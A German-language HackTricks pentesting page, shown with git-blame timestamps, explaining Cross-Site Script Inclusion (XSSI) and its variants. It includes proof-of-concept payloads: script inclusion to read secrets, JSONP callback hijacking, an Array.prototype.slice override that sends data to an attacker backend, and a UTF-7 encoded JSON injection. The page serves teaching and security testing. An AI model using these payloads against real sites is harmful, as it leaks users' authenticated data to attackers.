hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md

98 lines
8.3 KiB
Markdown
Raw Normal View History

# XSSI (Cross-Site Script Inclusion)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2024-02-03 14:45:32 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 15:36:32 +00:00
## Grundlegende Informationen
2024-02-10 15:36:32 +00:00
**Cross-Site Script Inclusion (XSSI)** ist eine Sicherheitslücke, die sich aus der Natur des `script`-Tags in HTML ergibt. Im Gegensatz zu den meisten Ressourcen, die der **Same-Origin Policy (SOP)** unterliegen, können Skripte von verschiedenen Domains eingebunden werden. Dieses Verhalten soll die Verwendung von Bibliotheken und anderen Ressourcen erleichtern, die auf verschiedenen Servern gehostet werden, birgt jedoch auch ein potentielles Sicherheitsrisiko.
2024-02-10 15:36:32 +00:00
### Hauptmerkmale von **XSSI**:
- **Umgehung der SOP**: Skripte sind von der **Same-Origin Policy** ausgenommen und können daher über Domains hinweg eingebunden werden.
- **Datenexposition**: Ein Angreifer kann dieses Verhalten ausnutzen, um über den `script`-Tag geladene Daten zu lesen.
- **Auswirkungen auf dynamisches JavaScript/JSONP**: **XSSI** ist besonders relevant für dynamisches JavaScript oder **JSON mit Padding (JSONP)**. Diese Technologien verwenden häufig "ambient-authority" Informationen (wie Cookies) zur Authentifizierung. Wenn eine Skriptanfrage an einen anderen Host gestellt wird, werden diese Anmeldeinformationen (z. B. Cookies) automatisch in der Anfrage enthalten.
- **Leckage von Authentifizierungstoken**: Wenn ein Angreifer den Browser eines Benutzers dazu bringen kann, ein Skript von einem von ihnen kontrollierten Server anzufordern, könnte er auf sensible Informationen zugreifen, die in diesen Anfragen enthalten sind.
2024-02-10 15:36:32 +00:00
### Typen
2024-02-10 15:36:32 +00:00
1. **Statisches JavaScript** - Dies repräsentiert die herkömmliche Form von XSSI.
2. **Statisches JavaScript mit Authentifizierung** - Dieser Typ ist besonders, da er eine Authentifizierung erfordert, um darauf zuzugreifen.
3. **Dynamisches JavaScript** - Involviert JavaScript, das dynamisch Inhalte generiert.
4. **Nicht-JavaScript** - Bezieht sich auf Sicherheitslücken, die nicht direkt JavaScript betreffen.
2024-02-10 15:36:32 +00:00
**Die folgenden Informationen sind eine Zusammenfassung von [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Überprüfen Sie es für weitere Details.
2024-02-10 15:36:32 +00:00
### Reguläres XSSI
Bei diesem Ansatz wird private Information in einer global zugänglichen JavaScript-Datei eingebettet. Angreifer können diese Dateien mithilfe von Methoden wie Dateilesevorgängen, Schlüsselwortsuchen oder regulären Ausdrücken identifizieren. Sobald die Skriptdatei mit privaten Informationen gefunden wurde, kann sie in bösartigen Inhalten eingebunden werden, um unbefugten Zugriff auf sensible Daten zu ermöglichen. Eine Beispiel-Ausbeutungstechnik wird unten gezeigt:
2024-02-05 02:29:11 +00:00
```html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
2024-02-10 15:36:32 +00:00
### Dynamisch-JavaScript-basierte-XSSI und Authentifizierte-JavaScript-XSSI
Diese Arten von XSSI-Angriffen beinhalten vertrauliche Informationen, die dynamisch als Antwort auf eine Benutzeranfrage zum Skript hinzugefügt werden. Die Erkennung kann durch das Senden von Anfragen mit und ohne Cookies erfolgen und das Vergleichen der Antworten. Wenn sich die Informationen unterscheiden, kann dies auf das Vorhandensein vertraulicher Informationen hinweisen. Dieser Prozess kann mithilfe von Tools wie der [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp-Erweiterung automatisiert werden.
2024-02-10 15:36:32 +00:00
Wenn vertrauliche Daten in einer globalen Variablen gespeichert sind, können sie mit ähnlichen Methoden wie bei regulärem XSSI ausgenutzt werden. Wenn die vertraulichen Daten jedoch in einer JSONP-Antwort enthalten sind, können Angreifer die Callback-Funktion kapern, um die Informationen abzurufen. Dies kann entweder durch Manipulation globaler Objekte oder durch Einrichten einer Funktion erfolgen, die durch die JSONP-Antwort ausgeführt wird, wie unten gezeigt:
2024-02-05 02:29:11 +00:00
```html
<script>
2024-02-10 15:36:32 +00:00
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```
2024-02-05 02:29:11 +00:00
```html
<script>
2024-02-10 15:36:32 +00:00
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
2024-02-10 15:36:32 +00:00
Für Variablen, die sich nicht im globalen Namensraum befinden, kann manchmal *Prototyp-Manipulation* ausgenutzt werden. Diese Technik nutzt das Design von JavaScript aus, bei dem die Code-Interpretation das Durchlaufen der Prototypenkette beinhaltet, um die aufgerufene Eigenschaft zu lokalisieren. Indem bestimmte Funktionen wie `slice` von `Array` überschrieben werden, können Angreifer auf nicht-globale Variablen zugreifen und diese offenlegen:
```javascript
Array.prototype.slice = function(){
2024-02-10 15:36:32 +00:00
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
2024-02-10 15:36:32 +00:00
Weitere Details zu Angriffsvektoren finden Sie in der Arbeit des Sicherheitsforschers [Sebastian Lekies](https://twitter.com/slekies), der eine Liste von [Vektoren](http://sebastian-lekies.de/leak/) pflegt.
2024-02-05 02:29:11 +00:00
### Non-Script-XSSI
2024-02-10 15:36:32 +00:00
Die Forschung von Takeshi Terada stellt eine weitere Form von XSSI vor, bei der Nicht-Skriptdateien wie CSV über Cross-Origin-Leaks durch das Einbinden als Quellen in einem `script`-Tag ausgenutzt werden. Historische Fälle von XSSI, wie der Angriff von Jeremiah Grossman im Jahr 2006, um ein vollständiges Google-Adressbuch zu lesen, und der JSON-Datenleck-Angriff von Joe Walker im Jahr 2007, verdeutlichen die Schwere dieser Bedrohungen. Darüber hinaus beschreibt Gareth Heyes eine Angriffsvariante, bei der UTF-7-kodierte JSON verwendet wird, um das JSON-Format zu umgehen und Skripte auszuführen, was in bestimmten Browsern wirksam ist:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
2024-02-05 02:29:11 +00:00
```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2024-02-03 14:45:32 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>